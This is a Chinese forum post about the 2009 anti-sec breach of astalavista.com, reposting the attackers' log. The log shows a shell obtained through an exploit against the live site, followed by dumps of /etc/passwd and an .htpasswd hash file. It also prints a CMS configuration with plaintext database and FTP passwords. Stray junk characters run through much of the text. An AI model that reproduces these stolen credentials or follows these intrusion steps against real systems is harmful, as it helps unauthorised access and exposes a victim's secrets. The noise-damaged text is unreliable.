里面两个亮点，一是远程获得apache用户权限的shell，banner是LiteSpeed，看来这玩意有0day，但是又怎么是用apache用户跑的，原来LiteSpeed这东西是和apache绑一起的，大概看了下介绍，主要功能是anti-ddos，这东西貌似还有点意思，回头玩玩。具体的看链接标记[url]http://www.litespeedtech.com/litespeed-web-server-features.html[/url]。* Z( M; G' B W: N3 G
& N2 j' J# C- o) l5 V7 b5 q- q
[root@front3 ~]# curl -I litespeedtech.com! W0 N! R+ |( d+ X- Y) C
HTTP/1.1 200 OK
4 D4 P% `- ^, g+ g) ^Date: Fri, 05 Jun 2009 22:54:51 GMT$ |$ n$ n. t5 l7 ~$ y
Server: LiteSpeed
0 I6 V4 u ~7 G3 A" b
# x4 w% r1 O5 e! d9 a+ }另外一个亮点就是localroot了，如果不是udev的话，那么就是RHEL5.3 x64还有一个localroot 0day -_-
* a' K- t F0 f# T9 g- {7 b
6 e G* z l) m- ~有人说astalavista被黑是因为Y拿milw0rm的东西赚钱，这个我觉得就是每个人的尺度问题，有人还把别人写的文章弄成自己写的，还有人把别人的程序改成自己的，多了去了。( E M/ P7 U# [
! I' i% L; F$ B( j# w/ E, Y
* E0 @/ ~- W9 ^6 v4 e
/ _ \ / _____/\__ ___/ _ \ | | / _ \ \ / /| |/ _____/\__ ___/ _ \ ( h3 y n( x* N; e8 @
/ /_\ \ \_____ \ | | / /_\ \| | / /_\ \ Y / | |\_____ \ | | / /_\ \+ @: r" d" F1 X) Z* `* P
/ | \/ \ | |/ | \ |___/ | \ / | |/ \ | |/ | \* j5 |6 C0 }- q2 |* G
\____|__ /_______ / |____|\____|__ /_______ \____|__ /\___/ |___/_______ / |____|\____|__ /. W9 m! n3 j# m6 c. t9 Y) M
\/ \/ \/ \/ \/ \/ \/4 g0 z8 C3 b C) S: H8 y2 ?+ C
The Hacking & Security Community
' T/ k2 s0 H+ Z' o8 Y[+] Founded in 1997 by a hacker computer enthusiast; `& y5 Z' z2 C1 k1 t! L
[-] Exposed in 2009 by anti-sec group& d0 W* z; C. T. @: f* W
4 Y0 q/ s( M1 G+ Z3 I$ AFrom < <b style=”color:black;background-color:#ffff66″>http</b>://<b style=”color:black;background-color:#ffff66″>astalavista</b>.<b style=”color:black;background-color:#ffff66″>com</b>/faq>:% S2 \; f7 |% d6 e
>> 03. Who’s behind the site?
5 q8 @! M3 s; Z, X/ j' L>>/ }5 G7 a; O- v
>> A team of security and IT professionals, and a countless number of contributors from all over the world.5 l: Q- y, ^/ W$ Z$ I3 N/ W& B: H
, Q) W: Z6 S% c+ W
>> 05. Is it true that the site is visited by script-kiddies and warez fans only?7 d5 ~# Q$ J! s( f. p, I% ` B
>>
6 |9 e; \, z+ ~+ U( B' \>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and
$ v" u9 m# r4 \9 V; d8 L; I Qmilitary institutions.
' ?0 g$ X( [1 \4 ?- ?>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information.
1 Q) \' C0 s: R- P1 |: L0 n. I0 z' ~0 l, E
Why has Astalavista been targeted?& C, y! O9 ], \" C8 s; U
3 c. t8 ^$ i& u9 sOther than the fact that they are not doing any of this for the “community” but
9 B/ c) I" ~% i; z0 E' Nfor the money, they spread exploits for kids, claim to be a security community
) n2 E9 v! ~* Q( [0 f8 h(with no real sense of security on their own servers), and they charge you $6.66
) Z. D4 d; {! Q7 Tper months to access a dead forum with a directory filled with public releases
% S2 U, ?/ E* S8 g1 I" K0 {and outdated / broken services.- i% l9 c# W0 ~# E7 t; C
- G# w4 l4 [5 w; ~0 t$ v5 x0 R" KWe wanted to see how good that “team of security and IT professionals” really is.! K$ N% |9 m& k/ K+ y- W* |
; ?, A q" {5 e# ]Let’s begin.5 c$ }- O$ B5 {
. y- c: i0 U7 i$ y# Nanti-sec:~# ./g0tshell astalavista.com -p 80, E5 d0 G& o, `
[+] Connecting to astalavista.com:801 v* S/ ^% S8 k
[+] Grabbing banner…5 n3 k$ Z" x# o* A+ P0 F
LiteSpeed5 Y: j( }$ v7 [5 C. K7 q' [
[+] Injecting shellcode…8 `0 B- \- V9 ^
[-] Wait for it
' h8 S8 W/ }4 _$ f# N' P3 L/ H3 a; g- X& T3 W
[~] We g0tshell0 o. `5 p, a0 S& x% g) X4 M
uname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux3 V" |% j; D, A
ID: uid=100(apache) gid=500(apache) groups=500(apache)
% y( |( E2 _. A }; g
7 o1 B. E2 B3 Y6 A& X" p o! \sh-3.2$ cat /etc/passwd
* A- a$ f, B) S/ x4 Qroot:x:0:0:root:/root:/bin/bash
. c. H" r1 i0 _) b! A! A1 rbin:x:1:1:bin:/bin:/sbin/nologin
' `6 b5 u8 w* n% w. |% C& I j4 v- Pdaemon:x:2:2:daemon:/sbin:/sbin/nologin; p! J2 G6 e2 c9 c V
adm:x:3:4:adm:/var/adm:/sbin/nologin
8 Y( K/ Q0 {* \7 Z) slp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
. h- w# e* i* Z) o4 j6 J6 l& H4 dsync:x:5:0:sync:/sbin:/bin/sync: I; Z$ C3 U. ]
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
$ N6 q& R7 @- |9 z+ y! P, ]halt:x:7:0:halt:/sbin:/sbin/halt
X2 v. J1 a- ^' [, H( ?mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
) B$ J7 q1 i, B. r$ O q! Xnews:x:9:13:news:/etc/news:2 ?! T2 D3 L8 i3 r6 W. z; H
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
5 ?8 N) _4 G: V. U# qoperator:x:11:0 perator:/root:/sbin/nologin
/ |0 v1 g, _& g8 egames:x:12:100:games:/usr/games:/sbin/nologin
# U9 E: I$ `. W7 p3 P- Lgopher:x:13:30:gopher:/var/gopher:/sbin/nologin Y" n! K7 H6 d% `2 p S2 H
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
7 ~0 b! J( u( L9 M8 B; z# @5 `nobody:x:99:99:Nobody:/:/sbin/nologin& N. h, T# `" I
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
+ `; f- U" e: h: M( g* z9 pdbus:x:81:81:System message bus:/:/sbin/nologin) J3 j) N6 X5 m1 \
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin7 J& X% J: F0 F8 g
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
( b# L3 f* W; fsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
0 ^( H- t( t/ U2 Qvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
U* U+ p" x. mhaldaemon:x:68:68:HAL daemon:/:/sbin/nologin
1 ~) Y# L8 G3 i" Z, i( |" Nrpc:x:32:32 ortmapper RPC user:/:/sbin/nologin
& w& r5 U6 ` L- e. s0 U8 a3 Arpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin8 G1 i( z( d% v! _5 N- s8 J+ _
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin4 l4 c% T" r' \; f! U f- g1 O
sshd:x:74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologin
5 W4 _# {4 V! y0 X- Y! ^. Ipcap:x:77:77::/var/arpwatch:/sbin/nologin/ x! T w+ E v6 O% b
named:x:25:25:Named:/var/named:/sbin/nologin
' o2 d/ n6 @5 U+ y) hapache:x:100:500::/var/www:/bin/false' q" U- Q# E( n( A# T9 Z# c* G; F/ {
diradmin:x:101:101::/usr/local/directadmin:/bin/bash! j. _1 P$ Q+ f; P2 Y
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash
; P4 v( e. t, `' f1 S0 wwebapps:x:500:501::/var/www/html:/bin/bash( l/ W# |. l+ q
majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash3 h) h( g/ R; N# a. C/ b3 K
admin:x:501:502::/home/admin:/bin/bash
! W; ?$ y8 J+ E, l! Q+ z! X6 Mjon:x:502:503::/home/jon:/bin/bash
% d0 H: j3 _2 ^1 E# s3 \4 `9 Ncom:x:503:504::/home/com:/bin/bash
: X( S: L% v: [# Q. Ontp:x:38:38::/etc/ntp:/sbin/nologin
7 H$ b/ @1 [# X% Hais:x:39:39penais Standards Based Cluster Framework:/:/sbin/nologin
. \( n. V9 E1 V" ~: {( qastanet:x:504:505::/home/astanet:/bin/bash* U9 b9 v/ M, X$ M
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
0 _- c2 Z* i% U. Navahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
8 e- e% K+ g8 b4 t
2 i2 f6 {3 S7 s& msh-3.2$ cat /etc/hosts
$ |3 |. k( X. H1 {' b) u' _# Do not remove the following line, or various programs
* v( i' a3 \5 E" g- K# that require network functionality will fail.
" L0 b8 l# ?; j127.0.0.1 localhost.localdomain localhost: M, Y; M" |/ W* e. k, G, T: P2 O
::1 localhost6.localdomain6 localhost6
$ C4 S0 {+ _, K5 Q% R80.74.154.172 asta1.astalavistaserver.com/ T, V p" V7 E6 f5 h
' K# ?! O9 `: A4 g- o% Q
sh-3.2$ pwd( I, j, E9 O7 @1 l; f
/home/com/public_html
' l" s- S0 Z+ B, z! [ n) t7 B
# b$ d3 X2 R% ]sh-3.2$ ls -la, N9 v6 V* t v2 |" s9 H5 l9 C
total 18460
4 i. |3 F0 u- J L8 C. k9 Ndrwxr-xr-x 30 com apache 4096 May 28 17:06 .
* O: f3 D$ n2 G d6 V! |( gdrwx–x–x 11 com com 4096 Jun 25 2008 ..
# Z p s* U Jdrwxr-xr-x 2 com com 4096 Feb 2 19:29 admin
y! r' u' v- l: c3 Ldrwxrwxrwx 2 com com 18591744 Jun 4 08:04 cache: b5 L; L* R2 j! O8 w- \2 n0 C% k1 a4 q
drwxr-xr-x 6 com com 4096 Mar 28 21:17 cadmin' ~: w# e% _) t2 x
drwxrwxrwx 2 com com 4096 May 19 00:50 config
% U. b) |. K9 n1 c5 bdrwxr-xr-x 2 com com 4096 Mar 20 11:05 core5 H' j1 Z5 A5 U6 D$ B$ {/ L/ r
drwxr-xr-x 18 com com 4096 Feb 2 19:29 core_modules
& E- t2 l0 p& }" @4 odrwxr-xr-x 4 com com 4096 Feb 2 19:29 customizing1 t- A/ e3 F! V7 y4 Y! Z
drwxr-xr-x 2 com com 4096 May 11 13:24 customizing_paulo6 n8 D( P1 k! b% c+ n* J( W F3 Q$ v; b
drwxr-xr-x 6 com com 4096 Mar 30 12:28 __DELETE__. m! M2 c8 `1 }! H! l2 [2 L8 ~
-rw-r–r– 1 com com 8035 May 19 14:26 directory_to_mediadir.php6 B q4 T7 }$ A: ^6 z! n6 |
drwxr-xr-x 2 com com 4096 Sep 9 2008 dvd
" n8 d2 M9 d# h6 [8 Odrwxr-xr-x 3 com com 4096 Feb 2 19:29 editor
; L( D; @ F, U ~-rw-r–r– 1 com com 3750 Feb 27 16:12 favicon.ico+ I4 e1 u e0 B) J, U4 q$ _7 E. g
drwxrwxrwx 2 com com 4096 Jun 4 08:00 feed
( H l5 W+ F/ p f7 w# u S' C-rwxrwxrwx 1 com com 10736 May 29 12:44 .htaccess/ p+ X" k$ `0 c" u# i" _
-rw-r–r– 1 com com 7638 Apr 21 08:45 .htaccess.2009-04-21.bak) {1 x j4 X, |4 q$ l) w
-rw-r–r– 1 com com 10768 May 11 11:53 .htaccess.2009-05-11.bak+ L- D7 O' v* d# D- X
drwxr-xr-x 18 com com 4096 Apr 9 2008 ideapool m, C, ^; M: M4 U6 y
drwxrwxrwx 14 com com 4096 Feb 2 19:29 images4 m4 D6 F: q" U/ Z# P) D
-rw-r–r– 1 com com 97496 Jun 2 13:01 index.php
' q; \* R" x% P8 D' J. Kdrwxr-xr-x 6 com com 4096 Feb 2 19:29 installer
W: t. w! D- z$ R$ t7 {( }drwxr-xr-x 8 com com 4096 Feb 2 19:29 lang" a$ a) _% N8 a) l! _; l+ L" Q
drwxr-xr-x 22 com com 4096 Feb 2 19:29 lib" [+ C/ j, k7 M% N% @
drwxrwxrwx 12 com com 4096 Jun 2 07:47 media: `8 p# e9 l; X ?$ `8 D& R0 x
drwxr-xr-x 8 com com 4096 May 11 12:48 modifications7 O8 R) z7 [. A# G- z1 E! c. H
drwxr-xr-x 34 com com 4096 May 28 16:30 modules6 V4 O7 R4 X' a8 H7 I/ ?
drwxr-xr-x 11 com com 4096 Jan 30 15:00 _myAdmin
d, M* q; S6 g/ D2 n5 a8 {+ n7 Vdrwxrwxr-x 22 com com 4096 May 28 17:06 _new
9 y/ n" w! n/ v8 xdrwxr-xr-x 26 com com 4096 Feb 2 19:27 _old3 A$ i# [9 Y9 G- \
drwxr-xr-x 2 com com 4096 Mar 30 12:29 phproxy
1 G* R% H0 n. _6 i; F& c5 a) Bdrwxr-xr-x 2 com com 4096 Mar 30 12:30 proxy
7 V8 z& d4 S# s y-rw-r–r– 1 com com 26 Feb 2 19:33 robots.txt
D% l& P0 l4 { [# x; K+ g-rwxrwxrwx 1 com com 10844 Jun 2 09:50 sitemap.xml) o0 b& v5 j( ?$ [5 }( O% P. d
-rw-r–r– 1 com com 223 Mar 30 15:32 test.php
" h3 h( A, Y7 Q" {4 Ddrwxrwxrwx 8 com com 4096 Mar 6 13:15 themes
6 e$ y( G; X7 y# u l; sdrwxrwxrwx 3 com com 4096 Jun 4 08:00 tmp8 k# m5 B; I9 B1 b" y0 I3 b
drwxr-xr-x 3 com com 4096 Feb 2 19:33 webcam
4 d$ ~; G- d9 q$ z( y
' N& e, G9 i( r* a- M% N, ssh-3.2$ head -20 index.php7 `, S" V$ ^- h* m, Z5 P
<?php
& j1 B( q( B7 q7 j3 ~5 f, m! ?, k5 N) y9 q9 t) C+ A
/**& C2 V |8 i4 R& z" H1 [. C
* The main page for the CMS# w6 ^; E7 w: @, E3 S( g5 r
* @copyright CONTREXX CMS - COMVATION AG
& J: H1 V8 l; n* @author Comvation Development Team0 L& l3 A j' U3 i4 z
* @version v1.0.9.10.1 stable
- w1 ]9 ~9 V9 V" H' `% B$ @* @package contrexx
+ `& e, l: H( ~+ ~$ v9 ~2 N8 l* @subpackage core
+ |/ f2 v( m$ Z# Q9 P& G* @link 链接标记[url]http://www.contrexx.com/[/url] contrexx homepage
7 y! _9 h R C) e& p. ~0 y* @since v0.0.0.0
) ]2 E6 H0 ?+ H; m7 v! \7 }* @todo Capitalize all class names in project
' J+ `: e( o* R+ ^4 h* @uses /config/configuration.php; W2 b& j9 q( b; J
* @uses /config/settings.php
6 D8 g" Z% Y" \: p7 X+ G2 w* @uses /config/version.php
. b7 {7 [3 i! b" _& _* @uses /core/API.php* j! F, z4 l4 Z5 K
* @uses /core_modules/cache/index.class.php" J4 g Z( c. l, V
* @uses /core/error.class.php3 F; ?: L1 F3 [9 Q: d5 |1 f
* @uses /core_modules/banner/index.class.php
$ u& Q% J& [7 w7 ?1 _* @uses /core_modules/contact/index.class.php+ g! h3 S" ]. L9 R
6 M, P% S' N* T( B" m) ~8 l4 ksh-3.2$ cd config/0 ^0 n5 T# m7 s# v- D
sh-3.2$ ls -la5 \& o5 U0 a& n& p4 A9 T9 q
total 32. b; a: v* X0 J: s7 j
drwxrwxrwx 2 com com 4096 May 19 00:50 .
- ~# K: ^7 x$ m7 I7 z; qdrwxr-xr-x 30 com apache 4096 May 28 17:06 ..+ `/ G$ f5 m3 G' a, h
-rwxrwxrwx 1 com com 2998 May 11 12:29 configuration.php; f$ g, n( c$ p# \9 v
-rwxrwxrwx 1 com com 7610 May 28 17:27 set_constants.php
6 @+ {9 E! s/ x. C+ y-rwxrwxrwx 1 com com 4186 May 25 12:54 settings.php: e6 g' L2 M: O0 g3 }' X, [/ \
-rwxrwxrwx 1 com com 672 Feb 2 19:29 version.php5 W3 M& l y1 N* N' E$ x! I4 Q; k" T
3 \% n D1 o+ ksh-3.2$ cat configuration.php1 U* |# B3 f6 x
[snip]$ D9 I: P; E4 q" {4 f! M) f9 C1 Y
$_DBCONFIG['host'] = ‘localhost’; // This is normally set to localhost
6 D2 E1 P9 P* y' V R$ q% Q- C! o6 k" o$_DBCONFIG['database'] = ‘com_contrexx2_live’; // Database name
/ c E- J$ n: j8 a$_DBCONFIG['tablePrefix'] = ‘contrexx_’; // Database table prefix% N7 V) K. Z( f7 h4 r
$_DBCONFIG['user'] = ‘contrexxuser2′; // Database username2 n4 J- [1 I$ B( i, |) U+ B3 e; J5 d
$_DBCONFIG['password'] = ‘0fEYNZgXz1pKe’; // Database password: T/ z9 B0 [! G8 o* V
$_DBCONFIG['dbType'] = ‘mysql’; // Database type (e.g. mysql,postgres ..)
& y0 k' J0 O5 a3 I A. `$_DBCONFIG['charset'] = ‘utf8′; // Charset (default, latin1, utf8, ..)
4 y# r! P5 w0 Z3 _( |) L7 ~[snip]; Y* y- C% j- t* p: Q
$_FTPCONFIG['is_activated'] = true; // Ftp support true or false; g; d, V5 f+ M R h* q6 D0 U* z
$_FTPCONFIG['use_passive'] = true; // Use passive ftp mode
! m( z3 X& Q' U! |" a, N8 x( Z$_FTPCONFIG['host'] = ‘localhost’;// This is normally set to localhost
7 g' L/ T( P0 L+ [6 s$_FTPCONFIG['port'] = 21; // Ftp remote port
( J( z) P7 g2 E- l$_FTPCONFIG['username'] = ‘链接标记dev@astalavista.com’; // Ftp login username
/ Z5 U2 A! } u" ?; A$_FTPCONFIG['password'] = ‘jajklop0Iuj’; // Ftp login password+ e% B% t! _3 \4 F$ L
$_FTPCONFIG['path'] = ‘/’; // Ftp path to cms; Q% a/ Q# X, q& k
) i+ R; y1 U! n" N/ ?sh-3.2$ cd ... H0 G9 ^4 j$ P8 Q! S: N- P: \
sh-3.2$ cd dvd/% J" |) L9 `/ o
sh-3.2$ ls -la/ F5 i$ j! a# i4 n( `
total 2913780
$ M1 N0 G0 G' C5 Ndrwxr-xr-x 2 com com 4096 Sep 9 2008 .
& j( l) @* Y; X' X8 T, cdrwxr-xr-x 30 com apache 4096 May 28 17:06 ..
% F6 x. |8 @2 Y-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part1.rar
, a8 `! ^4 ^& d& b. t2 o/ E-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part2.rar4 a M+ _& s# h+ x4 |
-rw-r–r– 1 com com 880644069 May 16 2008 astalavista_security_toolbox_dvd_2008.part3.rar. w! C7 d7 P2 |7 v8 Z" x. A
-rw-r–r– 1 com com 115 Jan 29 2008 .htaccess
# f6 f9 z3 W' w8 O/ b( w. ^
, H$ Y* P( L1 ?+ { J& \: @6 Osh-3.2$ cat .htaccess
) K! I# e0 x! [$ H4 V+ S. vauthType Basic
% y1 X( S/ |$ Q; {9 G6 BauthName DVD; x: K% @6 T9 B# \. _* x/ [
authUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd+ y% u4 M1 N. k6 ?# o L
require valid-user: e. r3 X* z. H S7 o2 ]
9 f. n: K" d, H' {3 F( y% j
sh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
3 ?2 r4 V: u) S) g6 hDVDdownload:CRD8cuY6.MPT6
( L( A2 |) D, `/ u% j. WDVDdownload2:CR8a36.wluFMg6 C- N9 X+ E, L% s H
! R2 \7 K0 s( ]0 m/ w$ ush-3.2$ cat test.php
5 e- y! P& O; X3 {8 p<?php
' W4 j( n% ^& D% d$url = ‘aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D’;
+ T8 l* D& ?* U! _5 }7 O$url = str_replace(array(’&’, ‘&’), ‘&’, base64_decode(rawurldecode($url)));
0 x# t6 W% x5 [+ recho $url;0 U6 E& e& W, w4 C# d
?>2 l% q3 N* O- _3 D( h {* t7 p3 n
7 h' K! f! j$ A8 ksh-3.2$ cd modifications/' a3 E. m; |& y# K5 c1 ^
sh-3.2$ ls -la
8 G4 p u0 n1 N& Gtotal 32
0 e% f; {: i( f f! @' Odrwxr-xr-x 8 com com 4096 May 11 12:48 .
; [* s, W+ y6 ?: \ l, B Sdrwxr-xr-x 30 com apache 4096 May 28 17:06 ..
4 b. T9 K3 g2 Z& i3 Qdrwxr-xr-x 3 com com 4096 Feb 2 19:33 com_avtng
1 Y: A2 Q4 {2 o5 g: ^. ]drwxr-xr-x 3 com com 4096 May 12 09:26 cronjobs
+ r8 b% a7 w# s: Z) G3 `drwxr-xr-x 2 com com 4096 Mar 2 10:35 onlinetools( @+ Z& ?3 R6 V1 i: r2 v; W! j
drwxr-xr-x 4 com com 4096 Feb 2 19:33 pjirc ^ D; y/ O6 u
drwxr-xr-x 2 com com 4096 Feb 2 19:33 search$ A% O% E4 q, C4 f" K) q
drwxr-xr-x 2 com com 4096 Mar 25 08:56 _tmp
8 S( S0 l5 z+ B9 A: W+ g! Y5 o$ j. B. W# i, A1 N( }7 ?
sh-3.2$ ls -R
/ E! ~$ K, ?' L+ P3 }$ d' ~.:6 ]* {* _% N' e: J8 a' |; c1 K
com_avtng cronjobs onlinetools pjirc search _tmp+ S# `( X9 V+ @8 t; t& }/ u/ Z
& ^1 ?7 ^1 j, f) g
./com_avtng:
# Y. E7 z- C" Xavtng.php banner_bottom.inc.php banner_button.inc.php banner_content.inc.php banner_popunder.inc.php banner_right.inc.php banner_top.inc.php iframe.php scripts
0 ]% e( ?; \" Q% ^& O' l+ e
! J# K" j1 H+ _ ~9 d./com_avtng/scripts:
0 i1 z- @& n+ V2 _ O+ wpopunder.js& z; Z) h7 W9 W. \6 U8 ^0 U1 [' }+ z: G
( V* K0 N# Q2 f) I1 j./cronjobs:0 t4 q+ ?7 I1 H. c! c& }% F- t
exploits.php exploits.sh google_blogindexing.php ip2country.sh proxydb2.php proxydb.php securitynews.php tmp% }, M) n9 k7 q6 B
0 Z4 K- e( ~" T4 j x) h7 P' z./cronjobs/tmp:
8 @+ d, X% P6 d5 gcontrexx_module_onlinetools_defaultports.csv contrexx_module_onlinetools_geolitecity_country.csv
( U2 x5 ?3 U2 A8 O9 l1 @/ ^8 M
6 S# i6 W' ^# m./onlinetools:' n* P. f' Z2 Q. t- x
index.php
K Q& d9 G* C" K" V+ q
" C' }+ W) h( B0 a( s W& ~./pjirc:
$ |3 L- A6 i2 h1 Z! Ea_big.jpg english.lng img irc.jar NormalApplet.html pixx-french.lng pjirc.cfg securedirc-unsigned.cab thanks.txt
3 w8 ]9 I3 Y9 fAppletWithJS.html french.lng IRCApplet.class irc-unsigned.jar pixx.cab pixx.jar readme.txt SimpleApplet.html versions.txt! A( |& |" M$ W& _) @
background.gif HeavyApplet.html irc.cab license.txt pixx-english.lng pixx-readme.txt securedirc.cab snd) J- ?6 G7 g) T
; c$ D5 h4 n, u: |! g% w
./pjirc/img:8 k9 z. a* s- z3 Q8 M, T
ange.gif bombe.gif clin-oeuil.gif content.gif enerve2.gif garcon.gif langue.gif mecontent.gif ordi.gif portable.gif sapin.gif triste.gif# H3 c; p8 |9 J3 m3 s, V! f" X% f5 ]
arbre.gif bouche.gif clin-oeuil-langue.gif cool.gif femme.gif grognon.gif lettre.gif newbie.gif pere-noel.gif pouce-non.gif sleep.gif
, G2 j; ]& }; W; ^0 Overre-eau.gif( Q/ K: G. F# {3 \9 Y6 ]# \. N3 h* b0 h
argh.gif bouqin.gif coeur-brise.gif diable.gif fille.gif halloween.gif lit.gif OH-1.gif pleure.gif pouce-oui.gif soleil.gif
5 N; ~2 P7 O! h1 Y9 U; a1 Dverre-vin.gif9 D8 Q; o& T5 Z4 v6 H. `
ballon.gif cadeau.gif coeur.gif dwchat.gif fleur.gif hamburger.gif love.gif OH-2.gif poisson.gif roll-eyes.gif sourire.gif yinyang.gif2 Z- S, F8 ?0 W' o! ?
biere.gif chien.gif comprends-pas.gif enerve1.gif fume.gif homme.gif lune.gif OH-3.gif pomme.gif rouge.gif terre.gif
& {: }' I8 w, N: x% | [. P$ d; C: ?6 P2 b( t1 O
./pjirc/snd:
+ e3 v$ ~* b2 lbell2.au ding.au- j6 [7 {1 I. [6 ?
! p- W" x3 X/ f- r" t" c. \1 U3 U
./search:* b8 \3 [2 C' s. f8 t6 n
searchEngines.php search.php
+ Y% E" o' k- ]! k% r2 }
0 i0 `: }/ \/ M" \./_tmp:( r. X& w6 @3 S% ?( S
defaultPorts.php defaultPorts.txt3 D, Y' _2 T' ~+ m
& ^; S" e8 y4 I0 W2 S2 k1 x" bsh-3.2$ cd cronjobs/+ d; e+ R+ w B
sh-3.2$ cat exploits.php
6 T' s8 b) S4 j) X+ n[snip]0 Z+ x9 ^7 s' c1 a' m q$ ~
$categories = array();
" }" l9 w% ?9 l! E$milw0rmFile = FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/sploitlist.txt’;4 A6 b$ v: C# N# Y1 F: d/ S
$expolits = file($milw0rmFile);
# b5 T: h" g5 ~6 \: `2 f4 X G$comExploits = array();" j, x4 e0 ~3 |( r0 O/ b: Q
[snip]: e% X$ k2 v- U6 b
// manage data# v& i0 g: B& P* X1 Z' A+ f
for ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 2640
, v% E# U, Z# A0 N0 x1 t+ Z/ S3 f. _8 H8 o
// get path and title2 x0 Z( }8 q3 Q
$expolits[$x] = trim($expolits[$x]);
; \& b3 ~5 Y9 |2 a% j: V2 z3 ` $path = str_replace(’./’, FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/’, substr($expolits[$x], 0, strpos($expolits[$x], ‘ ‘)));0 {! o0 B- v! j* L
$title = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ‘ ‘) + 1, strlen($expolits[$x])), ENT_QUOTES);3 M8 Z# N8 K- F: b
$ b" G( U5 [) A0 o // check if file exists
5 U+ A9 _4 P, m' V: ^0 u& R2 O9 P3 L5 w if (file_exists($path)) {, b5 r0 a H& W3 X( S- E5 t
_! @$ O! J1 {0 I2 X. [( [ $text = file_get_contents($path);
- w) \, @% o/ P- W' H K$ l, g% O1 i% Q- D" f- U
// get content and date
& X( ]: F: F- @7 U //$text = htmlspecialchars($text, ENT_QUOTES);
( ?" x4 P* p/ i/ a( p7 `5 Q% o( F $tmptext = addslashes(htmlentities($text, ENT_QUOTES, “UTF-8″));
# k" U4 u) b" h B! n: w if ($tmptext != ”) {) c+ g* Z( c5 l% \/ @1 s2 ]
$text = $tmptext;9 H) B9 e! s0 S- i2 [
} else {
/ L) Z9 A7 S# f" }4 W' O. M1 Z $text = addslashes(htmlentities($text, ENT_QUOTES));/ V, W* j; E' W0 p7 D
}
* f7 X3 ~$ A7 d9 n; d$ f e+ f $date = str_replace(’milw0rm.com [', '', str_replace(']‘, ”, strstr($text, ‘milw0rm.com [')));
$ p. K5 v& J8 d3 \7 M- d/ _8 X $tmp = explode('-', $date);
) E( e3 ]( |3 S [ $date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));; F) E5 t+ }2 B! [5 g" z/ E
$cat = getCategory ($path);
) q' Q* @" p. n) N6 w3 @$ o $ext = pathinfo(basename($path));' q U7 r1 }/ y# k
$ext = $ext['extension'];" [# k& \6 n/ Y, }
$qStr = ”
/ o. E6 A- e* a, b) ^8 ~( U, |$ O; C. c SELECT `id`
! l& y# Y. a; J FROM `contrexx_module_exploits`% E/ o" Q" j( [7 }) b
WHERE `title` = ‘” . $title . “‘
3 m/ n$ L% X A& @4 d AND `date` = ‘” . $date . “‘
- I, N5 D, y5 y* i, K “;- z& r! @7 G% U3 {
echo $x + 1 . ‘ von ‘ . count($expolits) . ‘ -> ‘ . $qStr . “\n”;
4 ]) ~1 G" H" v5 W9 u $q = $_objDB->query($qStr);. c% w; `- @; v0 L2 g
" ?. W& S1 r e7 P! q$ h if ($q->numRows() == 0) {- \0 h, A/ x1 G1 }4 a; Z% V
/ q+ j/ S5 B# `. B* n0 _7 H: c E: s // prepare array$ r* @0 q q4 m, s! K4 l/ c
$comExploits[$x]['date'] = $date;! B- s, i0 C# G8 |: }5 Q
$comExploits[$x]['title'] = $title;3 h8 ]# c2 {& J! O h
$comExploits[$x]['author'] = ‘milw0rm’;/ y3 D5 [/ f1 W
$comExploits[$x]['text'] = $text;- z: z. C) s8 h
$comExploits[$x]['source'] = $ext;
/ C9 U' `, _/ g! J $comExploits[$x]['url1'] = ”;) E( D0 L! a5 Z0 o4 f5 C
$comExploits[$x]['url2'] = ”;; ?; ]5 X8 t* V. T \
$comExploits[$x]['catid'] = $cat;/ \0 j0 ?0 Q; ^
$comExploits[$x]['lang'] = ‘2′;
1 F. `% {- D7 f" `4 D $comExploits[$x]['userid'] = ‘12′;& C0 n9 R8 Z& \4 e3 d; C
$comExploits[$x]['startdate'] = ‘0000-00-00′;5 k8 w: z& o6 P% u" O4 d; r
$comExploits[$x]['enddate'] = ‘0000-00-00′;
# q8 p9 y( [, z0 s, X( _ $comExploits[$x]['status'] = ‘1′;
, P. V6 V9 \& U. a$ \7 @ $comExploits[$x]['changelog'] = $date;/ E1 \3 U3 C9 ]5 H6 K! n% s# a
! w9 C# ]# h6 g3 j- n }
1 p$ J1 w# ]/ h- v% w) Y[snip]
) J A% ?; i. I5 p- P $xml = ‘<?xml version=”1.0″ encoding=”UTF-8″?>
: J" A Q/ j, B( K<rss version=”2.0″>
1 G. y$ I0 _# A- Z( v; p+ Y <channel>
+ }' y8 _$ v8 b0 K <title>ASTALAVISTA.com - Exploits</title>/ Q- l# s |, a1 Z7 G; [, n7 P _
<link>http://www.astalavista.com/exploits</link>
